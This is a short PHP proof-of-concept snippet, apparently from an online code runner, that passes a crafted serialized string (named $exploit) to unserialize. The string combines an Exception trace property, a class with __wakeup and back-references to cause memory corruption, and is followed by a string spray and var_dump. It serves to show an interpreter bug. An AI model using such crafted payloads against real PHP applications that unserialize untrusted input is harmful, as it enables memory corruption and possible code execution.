- var_dump: documentation ( source)
- unserialize: documentation ( source)
<?php
class obj {
var $prop;
function __wakeup() {
$this->prop = 1;
}
}
$exploit = 'a:3:{i:0;O:9:"exception":1:{s:16:"'."\0".'Exception'."\0".'trace";s:4:"test";}i:0;O:3:"obj":1:{s:4:"prop";R:2;}i:2;R:3;}';
$x = unserialize($exploit);
for ($i = 0; $i < 5; $i++) {
$v[$i] = 'hi'.$i;
}
var_dump($x);